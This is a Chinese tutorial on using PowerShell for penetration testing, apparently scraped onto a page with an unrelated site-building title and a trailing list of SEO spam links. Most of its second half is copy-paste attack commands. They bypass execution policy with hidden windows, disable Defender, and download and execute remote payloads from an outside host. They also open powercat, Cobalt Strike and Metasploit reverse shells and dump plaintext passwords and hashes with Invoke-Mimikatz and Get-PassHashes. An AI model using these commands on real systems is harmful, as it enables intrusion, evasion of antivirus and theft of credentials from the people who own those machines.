当前位置: 首页 > news >正文

如何修复网站中的死链太原网站建设方案咨询

如何修复网站中的死链,太原网站建设方案咨询,网站优化外链怎么做,php建设网站目录 Windows PowerShell PowerShell的执行策略 绕过执行策略执行PowerShell脚本 PowerShell的常用文件类命令 PowerShell远程下载文件并执行 渗透测试常用的PowerShell命令 Powershell导入文件 Windows PowerShell Windows PowerShell是一种命令行外壳程序和脚本环境&…

目录

Windows PowerShell

PowerShell的执行策略

绕过执行策略执行PowerShell脚本

PowerShell的常用文件类命令

PowerShell远程下载文件并执行

渗透测试常用的PowerShell命令

Powershell导入文件 


Windows PowerShell

Windows PowerShell是一种命令行外壳程序和脚本环境,它内置在Windows7及其以上的系统中,使命令行用户和脚本编写者可以利用.NET Framework的强大功能。PowerShell无须写到磁盘中,它可以直接在内存中运行。

各操作系统的PowerShell版本

操作系统PowerShell版本
Windows7、Windows Server20082.0
Windows8、Windows Server20123.0
Windows8.1、Windows Server2012 R24.0
Windows10、Windows Server20165.0

一个PowerShell脚本其实就是一个简单的文本文件,这个文件包含了一系列的PowerShell命令,每个命令显示为独立的一行,PowerShell文件的后缀为.ps1。

在64位的Windows操作系统中,存在两个版本的PowerShell,一个是x64版本的,一个是x86版本的。这两个版本的执行策略不会互相影响,可以把它们看成是两个独立的程序。x64版本PowerShell的配置文件在   C:\Windows\SysWOW64\WindowsPowerShell\v1.0 目录下。

PowerShell的优点

  • Windows7以上的操作系统默认安装
  • PowerShell无须写到磁盘中,它可以直接在内存中运行。
  • 可以从另外一个系统中下载PowerShell脚本并执行
  • 很多杀毒软件检测不到PowerShell的活动
  • cmd通常会被杀毒软件阻止运行,而PowerShell不会
  • PowerShell可以用来管理活动目录

查看PowerShell版本

  1. Get-Host
  2. 或者
  3. $PSVersionTable.PSVERSION

PowerShell的简单使用

可以执行 ctrl+R ,输入PowerShell 调出PowerShell,也可以在cmd下输入powershell进入,还可以在cmd下输入powershell命令,但是在每条命令之前加上powershell help查看PowerShell的帮助。

PowerShell的执行策略

为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设置为受限。

我们可以使用:Get-ExecutionPolicy  命令查看PowerShell当前的执行策略。它有4个策略。

  • Restricted:脚本不能运行(默认设置)
  • RemoteSigned:本地创建的脚本可以运行,但是从网上下载的脚本不能运行(拥有数字证书签名的除外)
  • AllSigned:仅当脚本由受信任的发布者签名时才能运行
  • Unrestricted:允许所有的脚本执行

可以看到,我们PowerShell脚本当前的执行策略是 AllSigned。

修改PowerShell执行策略:

Set-ExecutionPolicy 策略名       #该命令需要管理员权限运行

绕过执行策略执行PowerShell脚本

在渗透测试时,需要采用一些方法绕过策略来执行PowerShell脚本:

下载远程PowerShell脚本绕过权限执行

经过测试,在cmd窗口执行远程下载的powershell脚本,不论当前策略,都可以直接运行。而powershell窗口不行。

  1. #cmd窗口执行以下命令
  2. powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')
  3. 在powershell窗口执行
  4. IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')

绕过本地权限执行

上传test.ps1到目标主机,在cmd环境下,在目标主机本地当前目录执行该脚本

powershell -exec bypass  .\test.ps1

本地隐藏绕过权限执行脚本

powershell.exe -exec bypass -W hidden -nop  test.ps1
  • ExecvtionPolicy Bypass(-exec bypass):绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PoweShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则
  • WindowStyle Hidden(-w hidden):隐藏窗口,也就是执行完命令后,窗口隐藏
  • -command(-c):执行powershell脚本
  • NoProfile(-nop):PowerShell控制台不加载当前用户的配置文件
  • NoLogo:启动不显示版权标志的PowerShell
  • Nonlnteractive(-noni):非交互模式
  • Noexit:执行后不退出shell,这在使用键盘记录等脚本时非常重要 
  • -enc  base64: 把ps脚本编码成base64来执行,实战用的最多

PowerShell的常用文件类命令

在PowerShell下,命令的命名规范很一致,都采用了动词-名词的形式,如Net-Item,动词一般为Add、New、Get、Remove、Set等。PoerShell还兼容cmd和Linux命令,如查看目录可以使用 dir 或者 ls 。

文件操作类的PowerShell命令

  1. 新建目录testNew-Item test -ItemType directory
  2. 删除目录testRemove-Item test
  3. 新建文件test.txtNew-Item test.txt -ItemType file
  4. 新建文件test.txt,内容为 helloNew-Item test.txt -ItemType file -value "hello"
  5. 删除文件test.txtRemove-Item test.txt
  6. 查看文件test.txt内容:Get-Content test.txt
  7. 设置文件test.txt内容tSet-Content test.txt -Value "haha"
  8. 给文件test.txt追加内容:Add-Content test.txt -Value ",word!"
  9. 清除文件test.txt内容:Clear-Content test.txt

PowerShell远程下载文件并执行

cmd窗口下载文件

管理员权限才可以下载到C盘目录下,普通权限不能下在到C盘下。DownloadFile函数必须提供两个参数

  1. #下载文件到指定目录
  2. powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');
  3. #下载文件到当前目录
  4. powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');

cmd窗口下载文件并执行(exe)

远程下载木马文件并执行

powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');start-process test.exe

cmd窗口下载文件并执行(powershell脚本) 

远程下载 test.ps1 脚本,直接执行,该命令可以绕过powershell的执行策略。

powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')

远程下载 powercat.ps1 脚本,并带参数运行,该命令可以绕过powershell的执行策略

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd

渗透测试常用的PowerShell命令

关闭Windows自带的Defender防火墙(需要管理员权限)

powershell Set-MpPreference -disablerealtimeMonitoring $true

在cmd窗口下执行,将远程主机上的test.exe 下载到本地的D盘下

powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');

cmd窗口下利用Powershell反弹NC shell  

  1. 在cmd窗口执行
  2. powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd
  3. 在powershell窗口执行
  4. IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd

cmd窗口下利用Powershell反弹CobaltStrike shell 

  1. 在cmd窗口执行
  2. powershell.exe -c IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/a'))
  3. 在powershell窗口执行
  4. IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/a'))

cmd窗口下利用Powershell反弹MSF shell 

  1. 在cmd窗口执行
  2. powershell -c IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/7788.ps1');xx.ps1
  3. 在powershell窗口执行
  4. IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/7788.ps1');xx.ps1

远程加载PowerShell脚本读取明文密码

需要管理员权限

  1. 在cmd窗口执行
  2. powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
  3. 在powershell窗口执行
  4. IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts

 远程加载PowerShell脚本读取密码hash值

需要管理员权限

  1. 在cmd窗口执行
  2. powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
  3. 在powershell窗口执行
  4. IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

Powershell导入文件 

在大型的Powershell项目下,通常会有 .ps1 、.psd1 和 .psm1 几种后缀的文件。如PowerSploit工具

下面说下这几种后缀文件的用法。

  • .ps1 文件就是PowerShell脚本文件,该文件内容就是powershell语法
  • .psd1 文件是这个模块的介绍
  • .psm1 是模块文件

对于 .psm1 和 psd1 文件,可以使用以下命令进行导入

  1. Import-Module .\PowerSploit.psm1
  2. Import-Module .\PowerSploit.psd1

然后输入命令:Get-Command -Module PowerSploit 查看导入的模块都有哪些功能

对于.ps1文件,既可以使用  Import-Module 也可以使用 . 进行导入

  1. Import-Module .\Get-Information.ps1
  2. . .\Get-Information.ps1

注:以上所有的命令都建议在cmd窗口执行!!

参考书籍:《Web安全攻防-渗透测试实战指南》

相关文章:PowerSploit收集域信息

                  一些值得收藏的PowerShell工具

http://www.dt0577.cn/news/7074.html

相关文章:

  • 网站建设中的英文个人网站建设
  • 杭州企业网站优化成都关键词排名推广
  • 图片优化网站西地那非片的正确服用方法
  • 静态网站用什么做最快百度网盘搜索引擎官方入口
  • 网站怎样被百度收录江门关键词排名工具
  • 潍坊外贸建站百度seo排名技术必不可少
  • 北京画册设计公司seo专业论坛
  • WordPress不支持大数据seo网络优化前景怎么样
  • 广西城乡建设厅网站百度百科官网
  • 狗狗和人做网站网站排名优化公司哪家好
  • 在那些网站上做企业宣传好百度下载并安装
  • 成都网站建设龙兵seo外包公司多吗
  • 武汉做营销型网站推广百度收录网址
  • 有九类商标可以做网站名吗网站排名优化多少钱
  • 企销客搜索引擎的优化方法有哪些
  • 网站建设保密条款2024最火的十大新闻有哪些
  • 网站除了域名还要什么用河南整站关键词排名优化软件
  • seo深度优化公司seo职业培训学校
  • 杭州网站设计工作室查关键词排名软件
  • 学做网站是什么深圳网站推广公司
  • 商城购物网站有哪些模块seo案例分析100例
  • 网站设计案例方案网站优化 福州
  • 西海岸新区城市建设局网站淘宝代运营公司排名
  • 公司做企业网站的必要性成人短期培训能学什么
  • 做模具在哪个网站找工作qq营销
  • 秦皇岛网站开发哪家好百度网盘搜索引擎盘多多
  • 工作总结及工作计划seo网站技术培训
  • b2c购物网站系统线上推广宣传方式有哪些
  • wordpress抓取新闻快速排序优化
  • 在国外网站建设邯郸今日头条最新消息